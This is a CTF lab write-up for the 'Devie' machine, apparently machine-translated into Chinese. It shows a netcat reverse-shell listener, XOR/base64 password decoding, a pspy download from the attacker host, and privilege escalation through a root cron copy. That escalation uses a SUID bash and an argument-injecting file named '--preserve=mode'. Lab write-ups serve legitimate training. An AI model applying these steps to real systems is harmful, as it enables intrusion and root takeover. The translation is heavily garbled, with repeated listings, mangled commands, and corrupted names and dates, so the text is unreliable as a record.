┌──(hacklab㉿hacklab)-[~] └─$ nc -lnvp 9001 listening on [any] 9001 ... connect to [10.18.110.90] from (UNKNOWN) [10.10.120.182] 48192 bash: cannot set terminal process group (694): Inappropriate ioctl for device bash: no job control in this shell bruce@devie:~$ Whoami Whoami Bruce
有flag1.txt，所以请检查一下。
布鲁斯@devie：〜$ ll ll总计44 drwxr-xr-x 4布鲁斯·布鲁斯4096 2月20日00:33 ./ drwxr-xr-xr-x 4 root 4096 5月12日2022 ../ lrwxrwxrwx ../ lrwxrwxrwx .. 。注意-RW-R --- 1 Bruce Bruce 807 Feb 25 2020。Profile -RW-RW-R- 1 Bruce Bruce Bruce 75 5月12日2022年5月12日。Selected_editordrwx ---- 2 Bruce Bruce Bruce 4096 5096年5月12日2022年5月。 -rw----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
回答
第二旗是什么？
我会寻找第二个标志。 我在我喜欢的Bruce目录中找到了一个名为Note的文件，因此我将检查。
Bruce@devie：〜$ cat Note Cat Note Hello Bruce，我已经使用超级安全XOR格式编码了密码。我将关键的长度非常长，并用一些base64刺激了它，以使其更加安全。我将尽快分享解码脚本。但是，您可以使用我的脚本，位于 / opt / Directory中。现在看这个超级安全的字符串：neuedtien1mrdg5k gordon =========== bruce，我使用了超级安全的XOR格式来编码密码。钥匙很长，我终于用base64给它调味，以使其更加安全。我们将尽快发布解密脚本。但是，您可以在 / opt / Directory中使用我的脚本。现在，看看这个超级安全的字符串：neuedtien1mrdg5k gordon
bruce@devie:/opt$ sudo -u gordon /usr/bin/python3 /opt/encrypt.py sudo -u gordon /usr/bin/python3 /opt/encrypt.py Enter a password to encrypt: 123456789012345678901234567890 qkdduudfultlvuvzvk1nwuvavkjcr0nrr0vsw0tv
┌ - ─（hacklab㉿hacklab） - [〜]└─$ ssh gordon@10.10.120.182无法确定主机'10 .10.120.182（10.10.120.182）的真实性'无法建立。 ED25519密钥指纹是SHA256：6nbpoxonbvdqtml32goul+CH5CXDNJQBOFZ7S9O2ITG。此主机密钥以下其他名称/地址知道：〜/.ssh/nownow_hosts：6：[hashed name]〜/.ssh/nown_hosts：7：[hashed name]您确定要继续连接（是/no/no/no/no/[enderprint]）？是警告：永久添加'10 .10.120.182'（ED25519）中已知主机列表。 gordon@10.10.120.182's密码：欢迎访问Ubuntu 20.04.5 lts（GNU/Linux 5.4.0-139-139-generic x86_64） *文档 *文档：https：//help.ubuntu.com *管理层 *管理层：https：//https：////landscape.canonical.com * thrubuntanty Information：htufarty of of of thturanty of of of of of htufartion：/ 2023 01：47:42 PM UTC系统负载：0.08流程：124使用 /：56.4％的8.87GB用户中的56.4％登录：0内存使用：ENS5：10.10.10.120.182交换使用：0％ *严格固定的Kubernetes的Edge and Edge and Edge and Iot安全。了解Microk8如何刚刚提高标准，以进行简单，弹性和安全的K8S群集部署。 https://ubuntu.com/engage/secure-kubernetes-at-the-dedge *介绍了应用程序扩展的安全维护。通过您的Ubuntu Pro订阅，接收25,000多个软件包的更新。免费用于个人用途。 https://ubuntu.com/pro不启用用于应用程序的安全维护。 0更新可以立即应用。启用ESM应用程序可以接收其他将来的安全更新。请参阅https://ubuntu.com/esm或run：sudo pro状态可用更新的列表超过一周。要检查新的更新运行：sudo apt更新Ubuntu系统随附的程序是免费软件；在/usr/share/doc/*/版权所有的单个文件中描述了每个程序的确切分发术语。在适用法律允许的范围内，Ubuntu绝对没有保证。 Gordon@devie：〜$
我能够安全连接！ 有flag2.txt，所以请检查一下。
gordon@devie:~$ ll total 36 drwxr-xr-x 5 gordon gordon 4096 May 25 13:47 ./ drwxr-xr-x 4 root root 4096 May 12 2022 ../ drwxrwx--- 2 gordon gordon 4096 Feb 19 23:35 backups/ lrwxrwxrwx 1 root root 9 May 13 2022 .bash_history -> /dev /null -rw-r--r-- 1 Gordon Gordon 220 Feb 25 2020 .bash_logout -rw-r-r-r--r--r---r-----.bash_logout -rw-r--r--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- 1 gordon gordon 3771 Feb 25 2020 .bashrc drwx--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- gordon@devie：〜$ cat flag2.txt thm {x0r_xor_xor_xor}
回答
什么是根标志？
最后，它将被提升为根特权并获得根标志。
我很好奇的是报告和臀部。 让我们看一下里面的东西。
gordon@devie:~$ ll total 36 drwxr-xr-x 5 gordon gordon 4096 May 25 13:47 ./ drwxr-xr-x 4 root root 4096 May 12 2022 ../ drwxrwx--- 2 gordon gordon 4096 Feb 19 23:35 backups/ lrwxrwxrwx 1 root root 9 May 13 2022 .bash_history -> /dev /null -rw-r--r-- 1 Gordon Gordon 220 Feb 25 2020 .bash_logout -rw-r-r-r--r--r---r-----.bash_logout -rw-r--r--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- 1 gordon gordon 3771 Feb 25 2020 .bashrc drwx--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
我还查找了报告中的文件，但是没有什么特别困扰我的。
gordon@devie:~$ cd reports gordon@devie:~/reports$ ll total 20 drwxrwx--- 2 gordon gordon 4096 Feb 19 23:33 ./ drwxr-xr-x 5 gordon gordon 4096 May 25 13:47 ../ -rw-r--r-- 1 640 gordon 57 Feb 19 23:31 report1 -rw-r--r-- 1 640 Gordon 72 2月19日23:32 Report2 -RW-R--R---R-- 1 640 Gordon 100 Feb 19 23:33 Report3
接下来，关于备份，它似乎正在备份报告。 奇怪的是，权限是根源。
gordon@devie：〜$ cd备份/戈登@devie：〜/备份$ ll 20 drwxrwx --- 2 Gordon Gordon 4096 Feb 19 23:35 ./ drwxr-xr-xr-x 5 25 14:02 report2 -rw-r--r-- 1根根100 5月25日25 14:02 report3
要尝试，请在报告中创建test.txt。
gordon@devie：〜$ cd报告gordon@devie：〜/报告$ touch test.txt gordon@devie：〜/报告$ ll 20 drwxrwx --- 2 Gordon Gordon 4096 5月25 14:03 ./ drwxr-xr-xr-xr-xr-xr-x 5 gordon gordon gordon 4096 5月25日5月25日5月25日13：47 fe rw fe te fe te report1 -rw-r--r-- 1 640 Gordon 72 Feb 19 23:32 Report2 -rw-r--r-- r-- r-- 1 640 Gordon 100 Feb 19 23:33 Report3-RW-RW-RW-R-1 Gordon Gordon Gordon Gordon 5月25日25 14:03 Test.txt test.txt
当我查找备份时，我发现test.txt在大约一分钟内被复制了。并具有根特权。
gordon@devie:~/backups$ ll total 20 drwxrwx--- 2 gordon gordon 4096 May 25 14:04 ./ drwxr-xr-x 5 gordon gordon 4096 May 25 13:47 ../ -rw-r--r-- 1 root root 57 May 25 14:04 report1 -rw-r--r-- 1 root root 72 May 25 14:04 report2 -rw-r--r-- 1根根100 5月25日25 14:04 report3 -rw-r--r-- 1根根0 5月25日25 14:04 test.txt
Gordon@devie：〜$ WGET 10.18.110.90:9999/download/pspy64 -2023-05-25 14：10：13---- http://10.18.110.90:9999/%E3%83%80%80%E3%82;发送的http请求发送，等待响应... 200可以：3104768（3.0m）[application/octet-stream]保存到：'pspy64'pspy64'pspy64 100％[================================================================================================>] 44S 2023-05-25-25-25-25-25-25-25-25-25 14:10:10:57（69.5 KB/S） [3104768/3104768] gordon@devie:~$ chmod a+x pspy64 gordon@devie:~$ ll total 3068 drwxr-xr-x 5 gordon gordon 4096 May 25 14:10 ./ drwxr-xr-x 4 root root 4096 May 12 2022 ../ drwxrwx--- 2 gordon gordon 4096 May 25 14:10 backups/ lrwxrwxrwx 1 root root 9 May 13 2022 .bash_history -> /dev/null -rw-r--r-- 1 gordon gordon 220 Feb 25 2020 .bash_logout -rw-r--- 1 gordon gordon 3771 Feb 25 2020 .bashrc drwx----- 2 gordon gordon 4096 May 25 13:47 。 -rw ------ 1 Gordon Gordon 20 2022年5月12日。
Gordon@devie：〜$ cd/home/home/gordon/报告gordon@devie：〜/报告$ cp/bin/bash。 Gordon@devie：〜/报告$ CHMOD U+S BASH GORDON@DEVIE：〜/报告$ echo''>' - preserve = mode'gordon@devie@devie：〜/报告$ ls-ls-ls-ls-ls-lah总计120万drwxrwx ---- 2 Gordon Gordon Gordon Gordon Gordon Gordon Gordon 4.0k 4.0k 5月25日14:20。 drwxr-xr-x 5 gordon gordon 4.0K May 25 14:10 .. -rwsr-xr-x 1 gordon gordon 1.2M May 25 14:20 bash -rw-rw-r-- 1 gordon gordon 1 May 25 14:20 '--preserve=mode' -rw-r--r-- 1 640 gordon 57 Feb 19 23:31 report1 -rw-r--r-- 1 640 Gordon 72 2月19日23:32 Report2 -RW-R--R---R-- 1 640 Gordon 100 Feb 19 23:33 Report3 -RW-RW-RW-R- 1 Gordon Gordon 0 5月25日25 5月25日14:03 Test.txt
pochip
![[hackthebox]如果“发生httpclient类型的错误:: ceartiveTimeouterror发生，则执行消息已过期”该怎么办”](https://hack-lab-256.com/wp-content/uploads/2023/09/hack-lab-256-samnail-4-300x169.jpg)
![[CVE-2015-3306]我列举了共享的桑巴舞，操纵脆弱的版本，并通过操纵路径变量来升级特权！ Tryhackme Kenobi写作](https://hack-lab-256.com/wp-content/uploads/2023/08/hack-lab-256-samnail-2-300x169.jpg)
![[用于初学者的永久CTF] SetoDanote CTF Web写入！建议获得CTF的感觉！](https://hack-lab-256.com/wp-content/uploads/2023/08/hack-lab-256-samnail-1-1-300x169.jpg)
![[TRYHACKME]我们使用Wireshark进行了数据包分析，以研究SSH-Backdoor的侵入！ aterpass2写入](https://hack-lab-256.com/wp-content/uploads/2023/08/hack-lab-256-samnail-300x169.jpg)
![[CVE-2018-16763]燃料CMS 1.4.1-我将远程代码执行（1）转换为Python 3并入侵它！ Tryhackme Ignite写作](https://hack-lab-256.com/wp-content/uploads/2023/08/hack-lab-256-samnail-25-300x169.jpg)
![[tryhackme]我使用ssh2john从私钥中提取哈希，并用开膛手约翰（John The Ripper）入侵密码！立交桥写入](https://hack-lab-256.com/wp-content/uploads/2023/07/hack-lab-256-samnail-24-300x169.jpg)
![[tryhackme]我尝试渗透带有ret2ESP攻击的Windows机器（缓冲区溢出）！头脑风暴写作](https://hack-lab-256.com/wp-content/uploads/2023/06/hack-lab-256-samnail-23-300x169.jpg)